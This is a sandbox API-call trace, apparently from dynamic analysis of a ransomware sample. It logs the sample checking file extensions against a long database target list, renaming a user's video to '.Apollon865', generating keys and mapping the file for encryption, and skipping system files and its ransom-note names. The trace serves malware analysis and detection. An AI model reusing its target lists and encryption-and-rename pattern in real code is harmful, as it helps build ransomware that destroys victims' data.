	[0086.189] lstrcmpiW (lpString1="avi", lpString2="vdi") returned -1
	[0086.189] lstrlenW (lpString="vhd") returned 3
	[0086.189] lstrcmpiW (lpString1="avi", lpString2="vhd") returned -1
	[0086.189] lstrlenW (lpString="vhdx") returned 4
	[0086.189] lstrcmpiW (lpString1=".avi", lpString2="vhdx") returned -1
	[0086.189] lstrlenW (lpString="avhd") returned 4
	[0086.189] lstrcmpiW (lpString1=".avi", lpString2="avhd") returned -1
	[0086.189] lstrlenW (lpString="db") returned 2
	[0086.189] lstrcmpiW (lpString1="vi", lpString2="db") returned 1
	[0086.189] lstrlenW (lpString="db2") returned 3
	[0086.189] lstrcmpiW (lpString1="avi", lpString2="db2") returned -1
	[0086.189] lstrlenW (lpString="db3") returned 3
	[0086.189] lstrcmpiW (lpString1="avi", lpString2="db3") returned -1
	[0086.190] lstrlenW (lpString="dbf") returned 3
	[0086.190] lstrcmpiW (lpString1="avi", lpString2="dbf") returned -1
	[0086.190] lstrlenW (lpString="mdf") returned 3
	[0086.190] lstrcmpiW (lpString1="avi", lpString2="mdf") returned -1
	[0086.190] lstrlenW (lpString="mdb") returned 3
	[0086.190] lstrcmpiW (lpString1="avi", lpString2="mdb") returned -1
	[0086.190] lstrlenW (lpString="sql") returned 3
	[0086.190] lstrcmpiW (lpString1="avi", lpString2="sql") returned -1
	[0086.190] lstrlenW (lpString="sqlite") returned 6
	[0086.190] lstrcmpiW (lpString1="sO.avi", lpString2="sqlite") returned -1
	[0086.190] lstrlenW (lpString="sqlite3") returned 7
	[0086.190] lstrcmpiW (lpString1="gsO.avi", lpString2="sqlite3") returned -1
	[0086.190] lstrlenW (lpString="sqlitedb") returned 8
	[0086.190] lstrcmpiW (lpString1="0gsO.avi", lpString2="sqlitedb") returned -1
	[0086.190] lstrlenW (lpString="xml") returned 3
	[0086.190] lstrcmpiW (lpString1="avi", lpString2="xml") returned -1
	[0086.190] lstrlenW (lpString="$er") returned 3
	[0086.190] lstrcmpiW (lpString1="avi", lpString2="$er") returned 1
	[0086.190] lstrlenW (lpString="4dd") returned 3
	[0086.190] lstrcmpiW (lpString1="avi", lpString2="4dd") returned 1
	[0086.190] lstrlenW (lpString="4dl") returned 3
	[0086.190] lstrcmpiW (lpString1="avi", lpString2="4dl") returned 1
	[0086.190] lstrlenW (lpString="^^^") returned 3
	[0086.190] lstrcmpiW (lpString1="avi", lpString2="^^^") returned 1
	[0086.190] lstrlenW (lpString="abs") returned 3
	[0086.190] lstrcmpiW (lpString1="avi", lpString2="abs") returned 1
	[0086.190] lstrlenW (lpString="abx") returned 3
	[0086.191] lstrcmpiW (lpString1="avi", lpString2="abx") returned 1
	[0086.191] lstrlenW (lpString="accdb") returned 5
	[0086.191] lstrcmpiW (lpString1="O.avi", lpString2="accdb") returned 1
	[0086.191] lstrlenW (lpString="accdc") returned 5
	[0086.191] lstrcmpiW (lpString1="O.avi", lpString2="accdc") returned 1
	[0086.191] lstrlenW (lpString="accde") returned 5
	[0086.191] lstrcmpiW (lpString1="O.avi", lpString2="accde") returned 1
	[0086.191] lstrlenW (lpString="accdr") returned 5
	[0086.191] lstrcmpiW (lpString1="O.avi", lpString2="accdr") returned 1
	[0086.191] lstrlenW (lpString="accdt") returned 5
	[0086.191] lstrcmpiW (lpString1="O.avi", lpString2="accdt") returned 1
	[0086.191] lstrlenW (lpString="accdw") returned 5
	[0086.191] lstrcmpiW (lpString1="O.avi", lpString2="accdw") returned 1
	[0086.191] lstrlenW (lpString="accft") returned 5
	[0086.191] lstrcmpiW (lpString1="O.avi", lpString2="accft") returned 1
	[0086.191] lstrlenW (lpString="adb") returned 3
	[0086.191] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1
	[0086.191] lstrlenW (lpString="adb") returned 3
	[0086.191] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1
	[0086.191] lstrlenW (lpString="ade") returned 3
	[0086.191] lstrcmpiW (lpString1="avi", lpString2="ade") returned 1
	[0086.191] lstrlenW (lpString="adf") returned 3
	[0086.191] lstrcmpiW (lpString1="avi", lpString2="adf") returned 1
	[0086.192] lstrlenW (lpString="adn") returned 3
	[0086.192] lstrcmpiW (lpString1="avi", lpString2="adn") returned 1
	[0086.192] lstrlenW (lpString="adp") returned 3
	[0086.192] lstrcmpiW (lpString1="avi", lpString2="adp") returned 1
	[0086.192] lstrlenW (lpString="alf") returned 3
	[0086.192] lstrcmpiW (lpString1="avi", lpString2="alf") returned 1
	[0086.192] lstrlenW (lpString="ask") returned 3
	[0086.192] lstrcmpiW (lpString1="avi", lpString2="ask") returned 1
	[0086.192] lstrlenW (lpString="btr") returned 3
	[0086.192] lstrcmpiW (lpString1="avi", lpString2="btr") returned -1
	[0086.192] lstrlenW (lpString="cat") returned 3
	[0086.192] lstrcmpiW (lpString1="avi", lpString2="cat") returned -1
	[0086.192] lstrlenW (lpString="cdb") returned 3
	[0086.192] lstrcmpiW (lpString1="avi", lpString2="cdb") returned -1
	[0086.192] lstrlenW (lpString="ckp") returned 3
	[0086.192] lstrcmpiW (lpString1="avi", lpString2="ckp") returned -1
	[0086.192] lstrlenW (lpString="cma") returned 3
	[0086.192] lstrcmpiW (lpString1="avi", lpString2="cma") returned -1
	[0086.192] lstrlenW (lpString="cpd") returned 3
	[0086.192] lstrcmpiW (lpString1="avi", lpString2="cpd") returned -1
	[0086.192] lstrlenW (lpString="dacpac") returned 6
	[0086.192] lstrcmpiW (lpString1="sO.avi", lpString2="dacpac") returned 1
	[0086.192] lstrlenW (lpString="dad") returned 3
	[0086.192] lstrcmpiW (lpString1="avi", lpString2="dad") returned -1
	[0086.192] lstrlenW (lpString="dadiagrams") returned 10
	[0086.192] lstrcmpiW (lpString1="y80gsO.avi", lpString2="dadiagrams") returned 1
	[0086.192] lstrlenW (lpString="daschema") returned 8
	[0086.192] lstrcmpiW (lpString1="0gsO.avi", lpString2="daschema") returned -1
	[0086.192] lstrlenW (lpString="db-journal") returned 10
	[0086.193] lstrcmpiW (lpString1="y80gsO.avi", lpString2="db-journal") returned 1
	[0086.193] lstrlenW (lpString="db-shm") returned 6
	[0086.193] lstrcmpiW (lpString1="sO.avi", lpString2="db-shm") returned 1
	[0086.193] lstrlenW (lpString="db-wal") returned 6
	[0086.193] lstrcmpiW (lpString1="sO.avi", lpString2="db-wal") returned 1
	[0086.193] lstrlenW (lpString="dbc") returned 3
	[0086.193] lstrcmpiW (lpString1="avi", lpString2="dbc") returned -1
	[0086.193] lstrlenW (lpString="dbs") returned 3
	[0086.193] lstrcmpiW (lpString1="avi", lpString2="dbs") returned -1
	[0086.193] lstrlenW (lpString="dbt") returned 3
	[0086.193] lstrcmpiW (lpString1="avi", lpString2="dbt") returned -1
	[0086.193] lstrlenW (lpString="dbv") returned 3
	[0086.193] lstrcmpiW (lpString1="avi", lpString2="dbv") returned -1
	[0086.193] lstrlenW (lpString="dbx") returned 3
	[0086.193] lstrcmpiW (lpString1="avi", lpString2="dbx") returned -1
	[0086.193] lstrlenW (lpString="dcb") returned 3
	[0086.193] lstrcmpiW (lpString1="avi", lpString2="dcb") returned -1
	[0086.193] lstrlenW (lpString="dct") returned 3
	[0086.193] lstrcmpiW (lpString1="avi", lpString2="dct") returned -1
	[0086.193] lstrlenW (lpString="dcx") returned 3
	[0086.193] lstrcmpiW (lpString1="avi", lpString2="dcx") returned -1
	[0086.193] lstrlenW (lpString="ddl") returned 3
	[0086.193] lstrcmpiW (lpString1="avi", lpString2="ddl") returned -1
	[0086.193] lstrlenW (lpString="dlis") returned 4
	[0086.193] lstrcmpiW (lpString1=".avi", lpString2="dlis") returned -1
	[0086.193] lstrlenW (lpString="dp1") returned 3
	[0086.193] lstrcmpiW (lpString1="avi", lpString2="dp1") returned -1
	[0086.193] lstrlenW (lpString="dqy") returned 3
	[0086.194] lstrcmpiW (lpString1="avi", lpString2="dqy") returned -1
	[0086.194] lstrlenW (lpString="dsk") returned 3
	[0086.194] lstrcmpiW (lpString1="avi", lpString2="dsk") returned -1
	[0086.194] lstrlenW (lpString="dsn") returned 3
	[0086.194] lstrcmpiW (lpString1="avi", lpString2="dsn") returned -1
	[0086.194] lstrlenW (lpString="dtsx") returned 4
	[0086.194] lstrcmpiW (lpString1=".avi", lpString2="dtsx") returned -1
	[0086.194] lstrlenW (lpString="dxl") returned 3
	[0086.194] lstrcmpiW (lpString1="avi", lpString2="dxl") returned -1
	[0086.194] lstrlenW (lpString="eco") returned 3
	[0086.194] lstrcmpiW (lpString1="avi", lpString2="eco") returned -1
	[0086.194] lstrlenW (lpString="ecx") returned 3
	[0086.194] lstrcmpiW (lpString1="avi", lpString2="ecx") returned -1
	[0086.194] lstrlenW (lpString="edb") returned 3
	[0086.194] lstrcmpiW (lpString1="avi", lpString2="edb") returned -1
	[0086.194] lstrlenW (lpString="epim") returned 4
	[0086.194] lstrcmpiW (lpString1=".avi", lpString2="epim") returned -1
	[0086.194] lstrlenW (lpString="fcd") returned 3
	[0086.194] lstrcmpiW (lpString1="avi", lpString2="fcd") returned -1
	[0086.194] lstrlenW (lpString="fdb") returned 3
	[0086.194] lstrcmpiW (lpString1="avi", lpString2="fdb") returned -1
	[0086.194] lstrlenW (lpString="fic") returned 3
	[0086.194] lstrcmpiW (lpString1="avi", lpString2="fic") returned -1
	[0086.194] lstrlenW (lpString="flexolibrary") returned 12
	[0086.194] lstrcmpiW (lpString1="2Oy80gsO.avi", lpString2="flexolibrary") returned -1
	[0086.194] lstrlenW (lpString="fm5") returned 3
	[0086.194] lstrcmpiW (lpString1="avi", lpString2="fm5") returned -1
	[0086.194] lstrlenW (lpString="fmp") returned 3
	[0086.195] lstrcmpiW (lpString1="avi", lpString2="fmp") returned -1
	[0086.195] lstrlenW (lpString="fmp12") returned 5
	[0086.195] lstrcmpiW (lpString1="O.avi", lpString2="fmp12") returned 1
	[0086.195] lstrlenW (lpString="fmpsl") returned 5
	[0086.195] lstrcmpiW (lpString1="O.avi", lpString2="fmpsl") returned 1
	[0086.195] lstrlenW (lpString="fol") returned 3
	[0086.195] lstrcmpiW (lpString1="avi", lpString2="fol") returned -1
	[0086.195] lstrlenW (lpString="fp3") returned 3
	[0086.195] lstrcmpiW (lpString1="avi", lpString2="fp3") returned -1
	[0086.195] lstrlenW (lpString="fp4") returned 3
	[0086.195] lstrcmpiW (lpString1="avi", lpString2="fp4") returned -1
	[0086.195] lstrlenW (lpString="fp5") returned 3
	[0086.195] lstrcmpiW (lpString1="avi", lpString2="fp5") returned -1
	[0086.195] lstrlenW (lpString="fp7") returned 3
	[0086.195] lstrcmpiW (lpString1="avi", lpString2="fp7") returned -1
	[0086.195] lstrlenW (lpString="fpt") returned 3
	[0086.195] lstrcmpiW (lpString1="avi", lpString2="fpt") returned -1
	[0086.195] lstrlenW (lpString="frm") returned 3
	[0086.195] lstrcmpiW (lpString1="avi", lpString2="frm") returned -1
	[0086.195] lstrlenW (lpString="gdb") returned 3
	[0086.195] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1
	[0086.195] lstrlenW (lpString="gdb") returned 3
	[0086.195] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1
	[0086.195] lstrlenW (lpString="grdb") returned 4
	[0086.195] lstrcmpiW (lpString1=".avi", lpString2="grdb") returned -1
	[0086.195] lstrlenW (lpString="gwi") returned 3
	[0086.195] lstrcmpiW (lpString1="avi", lpString2="gwi") returned -1
	[0086.195] lstrlenW (lpString="hdb") returned 3
	[0086.195] lstrcmpiW (lpString1="avi", lpString2="hdb") returned -1
	[0086.196] lstrlenW (lpString="his") returned 3
	[0086.196] lstrcmpiW (lpString1="avi", lpString2="his") returned -1
	[0086.196] lstrlenW (lpString="ib") returned 2
	[0086.196] lstrcmpiW (lpString1="vi", lpString2="ib") returned 1
	[0086.196] lstrlenW (lpString="idb") returned 3
	[0086.196] lstrcmpiW (lpString1="avi", lpString2="idb") returned -1
	[0086.196] lstrlenW (lpString="ihx") returned 3
	[0086.196] lstrcmpiW (lpString1="avi", lpString2="ihx") returned -1
	[0086.196] lstrlenW (lpString="itdb") returned 4
	[0086.196] lstrcmpiW (lpString1=".avi", lpString2="itdb") returned -1
	[0086.196] lstrlenW (lpString="itw") returned 3
	[0086.196] lstrcmpiW (lpString1="avi", lpString2="itw") returned -1
	[0086.196] lstrlenW (lpString="jet") returned 3
	[0086.196] lstrcmpiW (lpString1="avi", lpString2="jet") returned -1
	[0086.196] lstrlenW (lpString="jtx") returned 3
	[0086.196] lstrcmpiW (lpString1="avi", lpString2="jtx") returned -1
	[0086.196] lstrlenW (lpString="kdb") returned 3
	[0086.196] lstrcmpiW (lpString1="avi", lpString2="kdb") returned -1
	[0086.196] lstrlenW (lpString="kexi") returned 4
	[0086.196] lstrcmpiW (lpString1=".avi", lpString2="kexi") returned -1
	[0086.196] lstrlenW (lpString="kexic") returned 5
	[0086.196] lstrcmpiW (lpString1="O.avi", lpString2="kexic") returned 1
	[0086.196] lstrlenW (lpString="kexis") returned 5
	[0086.196] lstrcmpiW (lpString1="O.avi", lpString2="kexis") returned 1
	[0086.196] lstrlenW (lpString="lgc") returned 3
	[0086.196] lstrcmpiW (lpString1="avi", lpString2="lgc") returned -1
	[0086.196] lstrlenW (lpString="lwx") returned 3
	[0086.196] lstrcmpiW (lpString1="avi", lpString2="lwx") returned -1
	[0086.197] lstrlenW (lpString="maf") returned 3
	[0086.197] lstrcmpiW (lpString1="avi", lpString2="maf") returned -1
	[0086.197] lstrlenW (lpString="maq") returned 3
	[0086.197] lstrcmpiW (lpString1="avi", lpString2="maq") returned -1
	[0086.197] lstrlenW (lpString="mar") returned 3
	[0086.197] lstrcmpiW (lpString1="avi", lpString2="mar") returned -1
	[0086.197] lstrlenW (lpString="marshal") returned 7
	[0086.197] lstrcmpiW (lpString1="gsO.avi", lpString2="marshal") returned -1
	[0086.197] lstrlenW (lpString="mas") returned 3
	[0086.197] lstrcmpiW (lpString1="avi", lpString2="mas") returned -1
	[0086.197] lstrlenW (lpString="mav") returned 3
	[0086.197] lstrcmpiW (lpString1="avi", lpString2="mav") returned -1
	[0086.197] lstrlenW (lpString="maw") returned 3
	[0086.197] lstrcmpiW (lpString1="avi", lpString2="maw") returned -1
	[0086.197] lstrlenW (lpString="mdbhtml") returned 7
	[0086.197] lstrcmpiW (lpString1="gsO.avi", lpString2="mdbhtml") returned -1
	[0086.197] lstrlenW (lpString="mdn") returned 3
	[0086.197] lstrcmpiW (lpString1="avi", lpString2="mdn") returned -1
	[0086.197] lstrlenW (lpString="mdt") returned 3
	[0086.197] lstrcmpiW (lpString1="avi", lpString2="mdt") returned -1
	[0086.197] lstrlenW (lpString="mfd") returned 3
	[0086.197] lstrcmpiW (lpString1="avi", lpString2="mfd") returned -1
	[0086.197] lstrlenW (lpString="mpd") returned 3
	[0086.197] lstrcmpiW (lpString1="avi", lpString2="mpd") returned -1
	[0086.197] lstrlenW (lpString="mrg") returned 3
	[0086.197] lstrcmpiW (lpString1="avi", lpString2="mrg") returned -1
	[0086.197] lstrlenW (lpString="mud") returned 3
	[0086.197] lstrcmpiW (lpString1="avi", lpString2="mud") returned -1
	[0086.197] lstrlenW (lpString="mwb") returned 3
	[0086.198] lstrcmpiW (lpString1="avi", lpString2="mwb") returned -1
	[0086.198] lstrlenW (lpString="myd") returned 3
	[0086.198] lstrcmpiW (lpString1="avi", lpString2="myd") returned -1
	[0086.198] lstrlenW (lpString="ndf") returned 3
	[0086.198] lstrcmpiW (lpString1="avi", lpString2="ndf") returned -1
	[0086.198] lstrlenW (lpString="nnt") returned 3
	[0086.198] lstrcmpiW (lpString1="avi", lpString2="nnt") returned -1
	[0086.198] lstrlenW (lpString="nrmlib") returned 6
	[0086.198] lstrcmpiW (lpString1="sO.avi", lpString2="nrmlib") returned 1
	[0086.198] lstrlenW (lpString="ns2") returned 3
	[0086.198] lstrcmpiW (lpString1="avi", lpString2="ns2") returned -1
	[0086.198] lstrlenW (lpString="ns3") returned 3
	[0086.198] lstrcmpiW (lpString1="avi", lpString2="ns3") returned -1
	[0086.198] lstrlenW (lpString="ns4") returned 3
	[0086.198] lstrcmpiW (lpString1="avi", lpString2="ns4") returned -1
	[0086.198] lstrlenW (lpString="nsf") returned 3
	[0086.198] lstrcmpiW (lpString1="avi", lpString2="nsf") returned -1
	[0086.198] lstrlenW (lpString="nv") returned 2
	[0086.198] lstrcmpiW (lpString1="vi", lpString2="nv") returned 1
	[0086.198] lstrlenW (lpString="nv2") returned 3
	[0086.198] lstrcmpiW (lpString1="avi", lpString2="nv2") returned -1
	[0086.198] lstrlenW (lpString="nwdb") returned 4
	[0086.198] lstrcmpiW (lpString1=".avi", lpString2="nwdb") returned -1
	[0086.198] lstrlenW (lpString="nyf") returned 3
	[0086.198] lstrcmpiW (lpString1="avi", lpString2="nyf") returned -1
	[0086.198] lstrlenW (lpString="odb") returned 3
	[0086.198] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1
	[0086.198] lstrlenW (lpString="odb") returned 3
	[0086.198] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1
	[0086.199] lstrlenW (lpString="oqy") returned 3
	[0086.199] lstrcmpiW (lpString1="avi", lpString2="oqy") returned -1
	[0086.199] lstrlenW (lpString="ora") returned 3
	[0086.199] lstrcmpiW (lpString1="avi", lpString2="ora") returned -1
	[0086.199] lstrlenW (lpString="orx") returned 3
	[0086.199] lstrcmpiW (lpString1="avi", lpString2="orx") returned -1
	[0086.199] lstrlenW (lpString="owc") returned 3
	[0086.199] lstrcmpiW (lpString1="avi", lpString2="owc") returned -1
	[0086.199] lstrlenW (lpString="p96") returned 3
	[0086.199] lstrcmpiW (lpString1="avi", lpString2="p96") returned -1
	[0086.199] lstrlenW (lpString="p97") returned 3
	[0086.199] lstrcmpiW (lpString1="avi", lpString2="p97") returned -1
	[0086.199] lstrlenW (lpString="pan") returned 3
	[0086.199] lstrcmpiW (lpString1="avi", lpString2="pan") returned -1
	[0086.199] lstrlenW (lpString="pdb") returned 3
	[0086.199] lstrcmpiW (lpString1="avi", lpString2="pdb") returned -1
	[0086.199] lstrlenW (lpString="pdm") returned 3
	[0086.199] lstrcmpiW (lpString1="avi", lpString2="pdm") returned -1
	[0086.199] lstrlenW (lpString="pnz") returned 3
	[0086.199] lstrcmpiW (lpString1="avi", lpString2="pnz") returned -1
	[0086.199] lstrlenW (lpString="qry") returned 3
	[0086.199] lstrcmpiW (lpString1="avi", lpString2="qry") returned -1
	[0086.199] lstrlenW (lpString="qvd") returned 3
	[0086.199] lstrcmpiW (lpString1="avi", lpString2="qvd") returned -1
	[0086.199] lstrlenW (lpString="rbf") returned 3
	[0086.199] lstrcmpiW (lpString1="avi", lpString2="rbf") returned -1
	[0086.199] lstrlenW (lpString="rctd") returned 4
	[0086.199] lstrcmpiW (lpString1=".avi", lpString2="rctd") returned -1
	[0086.200] lstrlenW (lpString="rod") returned 3
	[0086.200] lstrcmpiW (lpString1="avi", lpString2="rod") returned -1
	[0086.200] lstrlenW (lpString="rodx") returned 4
	[0086.200] lstrcmpiW (lpString1=".avi", lpString2="rodx") returned -1
	[0086.200] lstrlenW (lpString="rpd") returned 3
	[0086.200] lstrcmpiW (lpString1="avi", lpString2="rpd") returned -1
	[0086.200] lstrlenW (lpString="rsd") returned 3
	[0086.200] lstrcmpiW (lpString1="avi", lpString2="rsd") returned -1
	[0086.200] lstrlenW (lpString="sas7bdat") returned 8
	[0086.200] lstrcmpiW (lpString1="0gsO.avi", lpString2="sas7bdat") returned -1
	[0086.200] lstrlenW (lpString="sbf") returned 3
	[0086.200] lstrcmpiW (lpString1="avi", lpString2="sbf") returned -1
	[0086.200] lstrlenW (lpString="scx") returned 3
	[0086.200] lstrcmpiW (lpString1="avi", lpString2="scx") returned -1
	[0086.200] lstrlenW (lpString="sdb") returned 3
	[0086.200] lstrcmpiW (lpString1="avi", lpString2="sdb") returned -1
	[0086.200] lstrlenW (lpString="sdc") returned 3
	[0086.200] lstrcmpiW (lpString1="avi", lpString2="sdc") returned -1
	[0086.200] lstrlenW (lpString="sdf") returned 3
	[0086.200] lstrcmpiW (lpString1="avi", lpString2="sdf") returned -1
	[0086.200] lstrlenW (lpString="sis") returned 3
	[0086.200] lstrcmpiW (lpString1="avi", lpString2="sis") returned -1
	[0086.200] lstrlenW (lpString="spq") returned 3
	[0086.200] lstrcmpiW (lpString1="avi", lpString2="spq") returned -1
	[0086.200] lstrlenW (lpString="te") returned 2
	[0086.200] lstrcmpiW (lpString1="vi", lpString2="te") returned 1
	[0086.200] lstrlenW (lpString="teacher") returned 7
	[0086.200] lstrcmpiW (lpString1="gsO.avi", lpString2="teacher") returned -1
	[0086.200] lstrlenW (lpString="tmd") returned 3
	[0086.201] lstrcmpiW (lpString1="avi", lpString2="tmd") returned -1
	[0086.201] lstrlenW (lpString="tps") returned 3
	[0086.201] lstrcmpiW (lpString1="avi", lpString2="tps") returned -1
	[0086.201] lstrlenW (lpString="trc") returned 3
	[0086.201] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1
	[0086.201] lstrlenW (lpString="trc") returned 3
	[0086.201] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1
	[0086.201] lstrlenW (lpString="trm") returned 3
	[0086.201] lstrcmpiW (lpString1="avi", lpString2="trm") returned -1
	[0086.201] lstrlenW (lpString="udb") returned 3
	[0086.201] lstrcmpiW (lpString1="avi", lpString2="udb") returned -1
	[0086.201] lstrlenW (lpString="udl") returned 3
	[0086.201] lstrcmpiW (lpString1="avi", lpString2="udl") returned -1
	[0086.201] lstrlenW (lpString="usr") returned 3
	[0086.201] lstrcmpiW (lpString1="avi", lpString2="usr") returned -1
	[0086.201] lstrlenW (lpString="v12") returned 3
	[0086.201] lstrcmpiW (lpString1="avi", lpString2="v12") returned -1
	[0086.201] lstrlenW (lpString="vis") returned 3
	[0086.201] lstrcmpiW (lpString1="avi", lpString2="vis") returned -1
	[0086.201] lstrlenW (lpString="vpd") returned 3
	[0086.201] lstrcmpiW (lpString1="avi", lpString2="vpd") returned -1
	[0086.201] lstrlenW (lpString="vvv") returned 3
	[0086.201] lstrcmpiW (lpString1="avi", lpString2="vvv") returned -1
	[0086.201] lstrlenW (lpString="wdb") returned 3
	[0086.201] lstrcmpiW (lpString1="avi", lpString2="wdb") returned -1
	[0086.201] lstrlenW (lpString="wmdb") returned 4
	[0086.201] lstrcmpiW (lpString1=".avi", lpString2="wmdb") returned -1
	[0086.201] lstrlenW (lpString="wrk") returned 3
	[0086.202] lstrcmpiW (lpString1="avi", lpString2="wrk") returned -1
	[0086.202] lstrlenW (lpString="xdb") returned 3
	[0086.202] lstrcmpiW (lpString1="avi", lpString2="xdb") returned -1
	[0086.202] lstrlenW (lpString="xld") returned 3
	[0086.202] lstrcmpiW (lpString1="avi", lpString2="xld") returned -1
	[0086.202] lstrlenW (lpString="xmlff") returned 5
	[0086.202] lstrcmpiW (lpString1="O.avi", lpString2="xmlff") returned -1
	[0086.202] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4_y wyQ22Oy80gsO.avi.Apollon865") returned 68
	[0086.202] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4_y wyQ22Oy80gsO.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4_y wyq22oy80gso.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4_y wyQ22Oy80gsO.avi.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4_y wyq22oy80gso.avi.apollon865"), dwFlags=0x1) returned 1
	[0086.203] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4_y wyQ22Oy80gsO.avi.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4_y wyq22oy80gso.avi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.204] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=72034) returned 1
	[0086.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0086.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.204] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.205] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.205] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.206] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11c70, lpName=0x0) returned 0x15c
	[0086.206] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11c70) returned 0x120000
	[0086.210] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.211] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.211] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.211] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.211] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.211] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.211] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.211] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.211] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.211] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0086.211] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.211] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0086.211] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.211] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0086.212] CloseHandle (hObject=0x15c) returned 1
	[0086.212] CloseHandle (hObject=0x9c) returned 1
	[0086.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.214] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0086.214] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.215] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0086.215] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0086.215] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0086.215] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0086.215] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0086.215] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0086.215] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0086.215] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0086.215] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0086.215] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0086.215] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0086.215] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0086.215] lstrlenW (lpString="desktop.ini") returned 11
	[0086.215] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4_y wyQ22Oy80gsO.avi") returned 57
